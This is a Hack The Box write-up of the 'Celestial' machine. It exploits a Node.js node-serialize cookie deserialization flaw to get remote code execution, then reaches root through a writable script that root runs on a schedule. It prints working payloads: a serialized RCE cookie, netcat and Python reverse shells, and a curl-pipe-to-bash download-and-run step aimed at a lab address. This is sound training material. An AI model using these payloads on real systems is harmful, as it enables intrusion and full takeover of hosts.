Celestial
Contents
Ports scan
u505@naos:~/HTB/Machines/Celestial$ sudo masscan -e tun0 -p1-65535,U:1-65535 --rate 1000 10.10.10.85
Starting masscan 1.0.5 at 2021-01-23 09:44:18 GMT -- forced options: -sS -Pn -n --randomize-hosts -v --send-eth Initiating SYN Stealth Scan Scanning 1 hosts [131070 ports/host] Discovered open port 3000/tcp on 10.10.10.85 u505@naos:~/HTB/Machines/Celestial$ nmap -sC -sV celestial Starting Nmap 7.91 ( https://nmap.org ) at 2021-01-23 04:44 EST Nmap scan report for celestial (10.10.10.85) Host is up (0.040s latency). Not shown: 999 closed ports PORT STATE SERVICE VERSION 3000/tcp open http Node.js Express framework |_http-title: Site doesn't have a title (text/html; charset=utf-8).
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 21.27 seconds
Node Express page
The initial web page only shows 404.
u505@naos:~/HTB/Machines/Celestial$ curl http://celestial:3000 <h1>404</h1>
If we query another page, it returns the text Cannot GET the page.
u505@naos:~/HTB/Machines/Celestial$ curl http://celestial:3000/u505
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Error</title>
</head>
<body>
<pre>Cannot GET /u505</pre>
</body>
</html>
The text of the page is 404, but the status code is 200 OK
u505@naos:~/HTB/Machines/Celestial$ curl -v http://celestial.htb:3000/
* Trying 10.10.10.85:3000...
* Connected to celestial.htb (10.10.10.85) port 3000 (#0)
> GET / HTTP/1.1
> Host: celestial.htb:3000
> User-Agent: curl/7.74.0
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< X-Powered-By: Express
< Set-Cookie: profile=eyJ1c2VybmFtZSI6IkR1bW15IiwiY291bnRyeSI6IklkayBQcm9iYWJseSBTb21ld2hlcmUgRHVtYiIsImNpdHkiOiJMYW1ldG93biIsIm51bSI6IjIifQ%3D%3D; Max-Age=900; Path=/; Expires=Sat, 23 Jan 2021 10:17:33 GMT; HttpOnly
< Content-Type: text/html; charset=utf-8
< Content-Length: 12
< ETag: W/"c-8lfvj2TmiRRvB7K+JPws1w9h6aY"
< Date: Sat, 23 Jan 2021 10:02:33 GMT
< Connection: keep-alive
<
* Connection #0 to host celestial.htb left intact
<h1>404</h1>
Once the page is reloaded in the browser the 404 code is changed by Hey Dummy 2 + 2 is 22
Burp suite helps to find the difference.
The difference is the cookie.
Cookie
Adding the cookie to the curl request provides the same result.
u505@naos:~/HTB/Machines/Celestial$ curl -v http://celestial.htb:3000/ -b 'profile=eyJ1c2VybmFtZSI6IkR1bW15IiwiY291bnRyeSI6IklkayBQcm9iYWJseSBTb21ld2hlcmUgRHVtYiIsImNpdHkiOiJMYW1ldG93biIsIm51bSI6IjIifQ%3D%3D' * Trying 10.10.10.85:3000... * Connected to celestial.htb (10.10.10.85) port 3000 (#0) > GET / HTTP/1.1 > Host: celestial.htb:3000 > User-Agent: curl/7.74.0 > Accept: */* > Cookie: profile=eyJ1c2VybmFtZSI6IkR1bW15IiwiY291bnRyeSI6IklkayBQcm9iYWJseSBTb21ld2hlcmUgRHVtYiIsImNpdHkiOiJMYW1ldG93biIsIm51bSI6IjIifQ%3D%3D > * Mark bundle as not supporting multiuse < HTTP/1.1 200 OK < X-Powered-By: Express < Content-Type: text/html; charset=utf-8 < Content-Length: 21 < ETag: W/"15-iqbh0nIIVq2tZl3LRUnGx4TH3xg" < Date: Sat, 23 Jan 2021 10:10:25 GMT < Connection: keep-alive < * Connection #0 to host celestial.htb left intact Hey Dummy 2 + 2 is 22
The cookie is encoded in base 64.
u505@naos:~/HTB/Machines/Celestial$ echo -n "eyJ1c2VybmFtZSI6IkR1bW15IiwiY291bnRyeSI6IklkayBQcm9iYWJseSBTb21ld2hlcmUgRHVtYiIsImNpdHkiOiJMYW1ldG93biIsIm51bSI6IjIifQ==" | base64 -d {"username":"Dummy","country":"Idk Probably Somewhere Dumb","city":"Lametown","num":"2"}
If we change the username, the response changes.
u505@naos:~/HTB/Machines/Celestial$ echo -n '{"username":"u505","country":"Idk Probably Somewhere Dumb","city":"Lametown","num":"2"}' | base64 -w0 eyJ1c2VybmFtZSI6InU1MDUiLCJjb3VudHJ5IjoiSWRrIFByb2JhYmx5IFNvbWV3aGVyZSBEdW1iIiwiY2l0eSI6IkxhbWV0b3duIiwibnVtIjoiMiJ9 u505@naos:~/HTB/Machines/Celestial$ curl http://celestial.htb:3000/ -b 'profile=eyJ1c2VybmFtZSI6InU1MDUiLCJjb3VudHJ5IjoiSWRrIFByb2JhYmx5IFNvbWV3aGVyZSBEdW1iIiwiY2l0eSI6IkxhbWV0b3duIiwibnVtIjoiMiJ9' Hey u505 2 + 2 is 22
If the value of num changes the answer changes too.
u505@naos:~/HTB/Machines/Celestial$ curl http://celestial.htb:3000/ -b "profile=` echo -n '{"username":"u505","country":"Idk Probably Somewhere Dumb","city":"Lametown","num":"3"}' | base64 -w0`" Hey u505 3 + 3 is 33
If we change the value of num by a character, the response crashes, and the word eval appears in error message.
u505@naos:~/HTB/Machines/Celestial$ curl http://celestial.htb:3000/ -b "profile=` echo -n '{"username":"u505","country":"Idk Probably Somewhere Dumb","city":"Lametown","num":"a"}' | base64 -w0`" <!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> <title>Error</title> </head> <body> <pre>ReferenceError: aa is not defined<br> at eval (eval at <anonymous> (/home/sun/server.js:13:29), <anonymous>:1:1)<br> at /home/sun/server.js:13:16<br> at Layer.handle [as handle_request] (/home/sun/node_modules/express/lib/router/layer.js:95:5)<br> at next (/home/sun/node_modules/express/lib/router/route.js:137:13)<br> at Route.dispatch (/home/sun/node_modules/express/lib/router/route.js:112:3)<br> at Layer.handle [as handle_request] (/home/sun/node_modules/express/lib/router/layer.js:95:5)<br> at /home/sun/node_modules/express/lib/router/index.js:281:22<br> at Function.process_params (/home/sun/node_modules/express/lib/router/index.js:335:12)<br> at next (/home/sun/node_modules/express/lib/router/index.js:275:10)<br> at cookieParser (/home/sun/node_modules/cookie-parser/index.js:70:5)</pre> </body> </html>
Node JS serialize exploit (CVE-2017-5941)
The Node JS web server take the cookie value and deserialize the content. There is a vulnerability detected by OpSecX that explains the issue, and the example is very similar to the situation that we have.
Searchexploit
u505@naos:~/HTB/Machines/Celestial$ searchsploit serialize
-------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
-------------------------------------------------------------------- ---------------------------------
Node.JS - 'node-serialize' Remote Code Execution | linux/remote/45265.js
-------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
Papers: No Results
u505@naos:~/HTB/Machines/Celestial$ searchsploit -m 45265 Exploit: Node.JS - 'node-serialize' Remote Code Execution URL: https://www.exploit-db.com/exploits/45265 Path: /usr/share/exploitdb/exploits/linux/remote/45265.js File Type: ASCII text, with CRLF line terminators
Copied to: /home/u505/HTB/Machines/Celestial/45265.js
The exploit example executes a ls over the root directory.
u505@naos:~/HTB/Machines/Celestial$ cat 45265.js
var serialize = require('node-serialize');
var payload = '{"rce":"_$$ND_FUNC$$_function (){require(\'child_process\').exec(\'ls /\', function(error, stdout, stderr) { console.log(stdout) });}()"}';
serialize.unserialize(payload);
The example fails because the module node-serialize doesn't exist.
u505@naos:~/HTB/Machines/Celestial$ node 45265.js internal/modules/cjs/loader.js:834 throw err; ^
Error: Cannot find module 'node-serialize' Require stack: - /opt/HTB/Machines/Celestial/45265.js at Function.Module._resolveFilename (internal/modules/cjs/loader.js:831:15) at Function.Module._load (internal/modules/cjs/loader.js:687:27) at Module.require (internal/modules/cjs/loader.js:903:19) at require (internal/modules/cjs/helpers.js:74:18) at Object.<anonymous> (/opt/HTB/Machines/Celestial/45265.js:1:17) at Module._compile (internal/modules/cjs/loader.js:1015:30) at Object.Module._extensions..js (internal/modules/cjs/loader.js:1035:10) at Module.load (internal/modules/cjs/loader.js:879:32) at Function.Module._load (internal/modules/cjs/loader.js:724:14) at Function.executeUserEntryPoint [as runMain] (internal/modules/run_main.js:60:12) { code: 'MODULE_NOT_FOUND', requireStack: [ '/opt/HTB/Machines/Celestial/45265.js' ] }
node-serialize module installation.
u505@naos:~/HTB/Machines/Celestial$ npm install node-serialize
added 1 package, and audited 2 packages in 1s
1 critical severity vulnerability
Some issues need review, and may require choosing a different dependency.
Run `npm audit` for details.
The execution lists the root folder.
u505@naos:~/HTB/Machines/Celestial$ node 45265.js bin boot dev etc home initrd.img initrd.img.old lib lib32 lib64 libx32 lost+found media mnt opt proc root run sbin srv sys tmp usr var vmlinuz vmlinuz.old
Code execution on target
To verify that we have code execution, the target will execute a ping to our machine.
Tcpdump to monitor the ICMP activity on our network card.
u505@naos:~/HTB/Machines/Celestial$ sudo tcpdump -i tun0 icmp [sudo] password for u505: tcpdump: verbose output suppressed, use -v or -vv for full protocol decode listening on tun0, link-type RAW (Raw IP), capture size 262144 bytes
The payload includes the ping command.
u505@naos:~/HTB/Machines/Celestial$ cat testping
{"rce":"_$$ND_FUNC$$_function (){require('child_process').exec('ping -c 1 10.10.14.11', function(error, stdout, stderr) { console.log(stdout) });}()","username":"u505","country":"Idk Probably Somewhere Dumb","city":"Lametown","num":"3"}
Execution of the payload.
u505@naos:~/HTB/Machines/Celestial$ curl -b "profile=`cat testping | base64 -w0`" http://celestial.htb:3000/ Hey u505 3 + 3 is 33
We trace the ping request in tcpdump.
u505@naos:~/HTB/Machines/Celestial$ sudo tcpdump -i tun0 icmp
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on tun0, link-type RAW (Raw IP), capture size 262144 bytes
08:47:19.984337 IP celestial > 10.10.14.11: ICMP echo request, id 5585, seq 1, length 64
08:47:19.984366 IP 10.10.14.11 > celestial: ICMP echo reply, id 5585, seq 1, length 64
Code execution with encoded commands on target
After a few failed tries to obtain a reverse shell, I tried to encode commands in base64 to avoid interpretation of character in-side the serialization. I began with the ping (because I know it works).
u505@naos:~/HTB/Machines/Celestial$ sudo tcpdump -i tun0 icmp tcpdump: verbose output suppressed, use -v or -vv for full protocol decode listening on tun0, link-type RAW (Raw IP), capture size 262144 bytes
We encode the ping command in base64.
u505@naos:~/HTB/Machines/Celestial$ echo -n "ping -c 1 10.10.14.11" | base64 -w 0 cGluZyAtYyAxIDEwLjEwLjE0LjEx
The serialization includes the base64 decoding.
u505@naos:~/HTB/Machines/Celestial$ cat testpingb64
{"rce":"_$$ND_FUNC$$_function (){require('child_process').exec('`echo cGluZyAtYyAxIDEwLjEwLjE0LjEx | base64 -d`', function(error, stdout, stderr) { console.log(stdout) });}()","username":"u505","country":"Idk Probably Somewhere Dumb","city":"Lametown","num":"3"}
Execution.
u505@naos:~/HTB/Machines/Celestial$ curl -b "profile=`cat testpingb64 | base64 -w0`" http://celestial.htb:3000/ Hey u505 3 + 3 is 33
The ping request is received.
u505@naos:~/HTB/Machines/Celestial$ sudo tcpdump -i tun0 icmp
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on tun0, link-type RAW (Raw IP), capture size 262144 bytes
09:20:52.706826 IP celestial > 10.10.14.11: ICMP echo request, id 5771, seq 1, length 64
09:20:52.706862 IP 10.10.14.11 > celestial: ICMP echo reply, id 5771, seq 1, length 64
Surprises with base64 encoded commands
u505@naos:~/HTB/Machines/Celestial$ rlwrap nc -lnvp 4444 Ncat: Version 7.91 ( https://nmap.org/ncat ) Ncat: Listening on :::4444 Ncat: Listening on 0.0.0.0:4444
If we execute the command locally, the listener is opened.
u505@naos:~/HTB/Machines/Celestial$ rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.11 4444 >/tmp/f u505@naos:~/HTB/Machines/Celestial$ rlwrap nc -lnvp 4444 Ncat: Version 7.91 ( https://nmap.org/ncat ) Ncat: Listening on :::4444 Ncat: Listening on 0.0.0.0:4444 Ncat: Connection from 10.10.14.11. Ncat: Connection from 10.10.14.11:42856. exit
But if we encode it, and execute it,
u505@naos:~/HTB/Machines/Celestial$ echo -n "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.11 4444 >/tmp/f" | base64 -w0 cm0gL3RtcC9mO21rZmlmbyAvdG1wL2Y7Y2F0IC90bXAvZnwvYmluL3NoIC1pIDI+JjF8bmMgMTAuMTAuMTQuMTEgNDQ0NCA+L3RtcC9m u505@naos:~/HTB/Machines/Celestial$ `echo -n "cm0gL3RtcC9mO21rZmlmbyAvdG1wL2Y7Y2F0IC90bXAvZnwvYmluL3NoIC1pIDI+JjF8bmMgMTAuMTAuMTQuMTEgNDQ0NCA+L3RtcC9m" | base64 -d` rm: cannot remove '/tmp/f;mkfifo': No such file or directory rm: cannot remove '/tmp/f;cat': No such file or directory rm: cannot remove '/tmp/f|/bin/sh': No such file or directory rm: cannot remove '2>&1|nc': No such file or directory rm: cannot remove '10.10.14.11': No such file or directory rm: cannot remove '4444': No such file or directory rm: cannot remove '>/tmp/f': No such file or directory
The command separator ; and the pipe | are not interpreted, they are considered normal characters.
Reverse shell
After the base64 surprise, the turn around was to send a command to the target to curl a script file and executes it with bash.
u505@naos:~/HTB/Machines/Celestial$ rlwrap nc -lnvp 4444 Ncat: Version 7.91 ( https://nmap.org/ncat ) Ncat: Listening on :::4444 Ncat: Listening on 0.0.0.0:4444
We download script file from our web server and executes the out put directly.
u505@naos:~/HTB/Machines/Celestial$ cat testcurl
{"rce":"_$$ND_FUNC$$_function (){require('child_process').exec('curl http://10.10.14.11/command | bash', function(error, stdout, stderr) { console.log(stdout) });}()","username":"u505","country":"Idk Probably Somewhere Dumb","city":"Lametown","num":"3"}
The script file.
u505@naos:~/HTB/Machines/Celestial$ cat web/command rm /tmp/f mkfifo /tmp/f cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.11 4444 >/tmp/f
Start web server.
u505@naos:~/HTB/Machines/Celestial/web$ sudo python -m SimpleHTTPServer 80 [sudo] password for u505: Serving HTTP on 0.0.0.0 port 80 ...
Call the execution by the target.
u505@naos:~/HTB/Machines/Celestial$ curl -b "profile=`cat testcurl | base64 -w0`" http://celestial.htb:3000/ Hey u505 3 + 3 is 33
The script is downloaded.
u505@naos:~/HTB/Machines/Celestial/web$ sudo python -m SimpleHTTPServer 80
[sudo] password for u505:
Serving HTTP on 0.0.0.0 port 80 ...
10.10.10.85 - - [24/Jan/2021 09:19:20] "GET /command HTTP/1.1" 200 -
The reverse shell is opened.
u505@naos:~/HTB/Machines/Celestial$ rlwrap nc -lnvp 4444 Ncat: Version 7.91 ( https://nmap.org/ncat ) Ncat: Listening on :::4444 Ncat: Listening on 0.0.0.0:4444 Ncat: Connection from 10.10.10.85. Ncat: Connection from 10.10.10.85:52250. /bin/sh: 0: can't access tty; job control turned off $ whoami sun python -c 'import pty; pty.spawn("/bin/bash")' sun@sun:~$
User flag
sun@sun:~$ cat Documents/user.txt cat Documents/user.txt <USER_FLAG>
Server.js
Now in the server, we can take a look at the program with the vulnerability
sun@sun:~$ netstat -ntlp netstat -ntlp (Not all processes could be identified, non-owned process info will not be shown, you would have to be root to see it all.) Active Internet connections (only servers) Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name tcp6 0 0 :::3000 :::* LISTEN 3854/nodejs
On the port 3000, the nodejs process is listening.
sun@sun:~$ ps -ef | grep 3854 ps -ef | grep 3854 sun 3854 3664 0 Jan23 ? 00:00:00 nodejs /home/sun/server.js sun 8552 3854 0 09:27 ? 00:00:00 /bin/sh -c curl http://10.10.14.11/command | bash sun 8643 8564 0 09:40 pts/17 00:00:00 grep --color=auto 3854
The source code shows how the untrusted cookie is unserialized without any sanitization.
sun@sun:~$ cat /home/sun/server.js cat /home/sun/server.js var express = require('express'); var cookieParser = require('cookie-parser'); var escape = require('escape-html'); var serialize = require('node-serialize'); var app = express(); app.use(cookieParser())
app.get('/', function(req, res) { if (req.cookies.profile) { var str = new Buffer(req.cookies.profile, 'base64').toString(); var obj = serialize.unserialize(str); if (obj.username) { var sum = eval(obj.num + obj.num); res.send("Hey " + obj.username + " " + obj.num + " + " + obj.num + " is " + sum); }else{ res.send("An error occurred...invalid username type"); } }else { res.cookie('profile', "eyJ1c2VybmFtZSI6IkR1bW15IiwiY291bnRyeSI6IklkayBQcm9iYWJseSBTb21ld2hlcmUgRHVtYiIsImNpdHkiOiJMYW1ldG93biIsIm51bSI6IjIifQ==", { maxAge: 900000, httpOnly: true }); } res.send("<h1>404</h1>"); }); app.listen(3000);
Privileges escalation
Before any enumeration, the first ls shows me that a file owned by root is on the sun's home directory. And the file is less than 5 minutes old.
sun@sun:~$ ls -l
ls -l
total 56
drwxr-xr-x 2 sun sun 4096 Sep 19 2017 Desktop
drwxr-xr-x 2 sun sun 4096 Mar 4 2018 Documents
drwxr-xr-x 2 sun sun 4096 Sep 19 2017 Downloads
-rw-r--r-- 1 sun sun 8980 Sep 19 2017 examples.desktop
drwxr-xr-x 2 sun sun 4096 Sep 19 2017 Music
drwxr-xr-x 47 root root 4096 Sep 19 2017 node_modules
-rw-r--r-- 1 root root 21 Jan 23 05:55 output.txt
drwxr-xr-x 2 sun sun 4096 Sep 19 2017 Pictures
drwxr-xr-x 2 sun sun 4096 Sep 19 2017 Public
-rw-rw-r-- 1 sun sun 870 Sep 20 2017 server.js
drwxr-xr-x 2 sun sun 4096 Sep 19 2017 Templates
drwxr-xr-x 2 sun sun 4096 Sep 19 2017 Videos
The content on the file is a line.
sun@sun:~$ cat output.txt cat output.txt Script is running...
On the Document folder aside with the user flag, there is a python script.
sun@sun:~$ date
date
Sat Jan 23 05:58:29 EST 2021
sun@sun:~$ cd Documents
cd Documents
sun@sun:~/Documents$ ls -l
ls -l
total 8
-rw-rw-r-- 1 sun sun 29 Sep 21 2017 script.py
-rw-rw-r-- 1 sun sun 33 Sep 21 2017 user.txt
The script prints the output.txt content file, as root and we can modify the script.
sun@sun:~/Documents$ cat script.py cat script.py print "Script is running..."
We first do a simple test.
sun@sun:~/Documents$ echo 'print "u505 owns this script"' > script.py echo 'print "u505 owns this script"' > script.py
Within 5 minutes the content of the output.txt file is updated with our senetense.
sun@sun:~$ date
date
Sat Jan 23 06:05:17 EST 2021
sun@sun:~$ cat output.txt
cat output.txt
u505 owns this script
We raise a second reverse shell
u505@naos:~/HTB/Machines/Celestial$ rlwrap nc -nlvp 4445 Ncat: Version 7.91 ( https://nmap.org/ncat ) Ncat: Listening on :::4445 Ncat: Listening on 0.0.0.0:4445
Modify the script with a python reverse shell.
sun@sun:~/Documents$ echo 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.11",4445));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' > script.py <os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' > script.py sun@sun:~/Documents$ cat script.py cat script.py import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.11",4445));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);
Wait until the reverse shell opens, as root.
u505@naos:~/HTB/Machines/Celestial$ rlwrap nc -nlvp 4445 Ncat: Version 7.91 ( https://nmap.org/ncat ) Ncat: Listening on :::4445 Ncat: Listening on 0.0.0.0:4445 Ncat: Connection from 10.10.10.85. Ncat: Connection from 10.10.10.85:39632. /bin/sh: 0: can't access tty; job control turned off python -c 'import pty; pty.spawn("/bin/bash")' root@sun:~# whoami whoami root root@sun:~# cat root.txt cat root.txt <ROOT_FLAG>
References
Daniel Simao 18:06, 23 January 2021 (EST)